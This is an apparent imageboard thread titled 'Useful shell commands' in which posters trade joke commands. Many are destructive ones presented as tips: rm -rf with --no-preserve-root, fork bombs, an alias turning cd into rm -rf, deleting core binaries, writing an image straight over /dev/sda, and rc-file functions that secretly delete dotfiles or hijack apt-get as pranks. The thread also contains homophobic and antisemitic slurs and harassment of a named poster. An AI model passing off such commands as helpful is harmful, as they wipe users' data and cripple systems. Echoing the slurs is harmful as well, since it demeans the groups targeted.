Useful shell commands

cat life | grep 'gf'

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touch kids

curl or wget? why?

ls -Cunt

rm -rf *

man unzip && touch balls

>cat life | grep 'gf'
>not grep 'gf' < life
>or simply grep gf life

porkmail.org/era/unix/award.html

touch fluffy | tail

man abs

killall man

who && gawk && uname && talk && date
&& wine && touch && unzip && strip
&& touch && mount && fsck && more && yes;
more; yes; umount && make clean && sleep

rm -rf yourself, you stupid faggot

How do you pronounce rm -rf?

wat does this do

it doesn't actually do anything useful, it's a joke because those are all valid commands and dude sex lmao

thanks for this

yes > /dev/null &

wget solussf1iso.stroblindustries.com/Solus-1.2.1.iso

is install solus the new install gentoo

no, it's literally one cunt called kev who's just a complete wanker. Ignore all kev posts, report all solus threads.

best one.

rim raf

r m dash r f

fucking scrub. just use grep only
grep 'gf' life

sudo

Are em dash are eff

cat life | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | grep 'gf' # :^)

>unix centipede

lol do not do this guys

:(){ :|: & };:

>forkbomb
Found the script kiddie.

sudo cat /dev/ports

>ports
port*

yes 'pkill chromium' | sh
fuck chromium, it always slows down my computer so I have to kill it. I know 1 pkill is probably enough but I need to annihilate my shitty browser

cat /dev/urandom > /dev/dsp

get iron

sudo rm -rf --no-preserve-root
sudo apt install Windows-10-Pro

openbsd ftp

curl, better proxy support

Wouldn't that remove apt?

useful tip is to install shellcheck.
You will learn a lot by trying to fix dangerous/erroneous lines

ncmpcpp

forgot the sudo at the front

Yes it would, just typical wintards not knowing a thing about computers.

rm /bin/rm
cat /bin/cat
pkill -9 pkill
chmod 000 /bin/chmod
mount /dev/sda1 /bin/

Add this function to your shell's rc file
vim () {
ls -1a ~ | grep -o '^\..*'| sed -n "$(jot -r 2 1 $(ls -1a ~ | grep -o '^\..' | wc -l))p" | xargs unlink -rpdf
command vim $*
}
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Guaranteed to cure manic ricing disorder or at least get you to learn to like a better text editor

fuck this going back to caps as shift and shift as (/[

>cat life
sure you have enough ram?

bash: jot: command not found...

>not having jot

your OS is garbage and ed probably wasn't even your default editor

Does this still crash chrome?

>when you realize that pipes are a way for programs to go ass-to-mouth

What is he is not a fgt and is su?

ls -cuntflaps

I find it hilarious that you guys think that you're so smart and pointing out his "mistake", but apparently not smart enough to figure out it was intentional satire.

try just pkill -9 chromium

Checked

Kevinism
google.com/#q=kevinism

alias cd rm -rf

holy shit

ls | grep -i "song name"

Loled

killall

yes > no

great one for weening users of ubuntu. add to root's bashrc or bash_profile
apt-get() {
s="$(printf '\x49\x6e\x73\x74\x61\x6c\x6c\x20\x47\x65\x6e\x74\x6f\x6f')";
printf '\x1bc';while :;do read -s -n 1 -t .01 && clear && break; printf \
"\x1b[$((RANDOM%LINES));$((RANDOM%$((COLUMNS-${#s}))))f\x1b[$((RANDOM%8+\
30))m$s\n";done #:(){:|:&};:%1337%G3/\/7$0$0|\/|3n@[email protected]

no its just this kevin faggot shilling solus

dd if=/dev/op/mouth of=/dev/dick

You just nuked the wrong disk. Learn if vs of

sudo rm -rf * --no-preserve-root

hai2u

ar em ar eff

killall jews

need to make an alias for that

this is all you need
wget stroblindustries.com/isos/Solus-1.2.1.iso

what's the deal with the stylish nazi hair?

curl solussf1iso.stroblindustries.com/Solus-1.2.1.iso | sudo tee /dev/sda >/dev/null

erem eref

read mail minus read fast

erre eme menos erre efe

>Not logging in as root
You must not like power.

im curious now, what does it do?

This alias only works if your logged in as root

rm rf

that shell one-liner was so unbelievably bad it literally gave me cancer

fuck you, now I'm dying because of you

shitton of cpu in background process?

>
>curl, better proxy support
Wget better recursive downloads and resume options.

sudo alias cd rm -rf
echo ':^)'

This is one I actually use
alias findFile='find $1 - type f 2>/dev/null | grep $2'

Rem is best girl

{ while :; do yes > /dev/null &; done } &

gets you out your parents basement

Get a load of this faggot calling them dash rather than the god tier master race term "tack"

but then the fags came

alias

:(){:|:&};:
Nice fork bomb you leet haxor_1337

ls `yes`

How come there's no protection against this? I don't mean the exact command, but something to prevent my harddrive from choking.

haha shit
I ran it in a terminal and killed the terminal but it kept going in the background

yes

install solus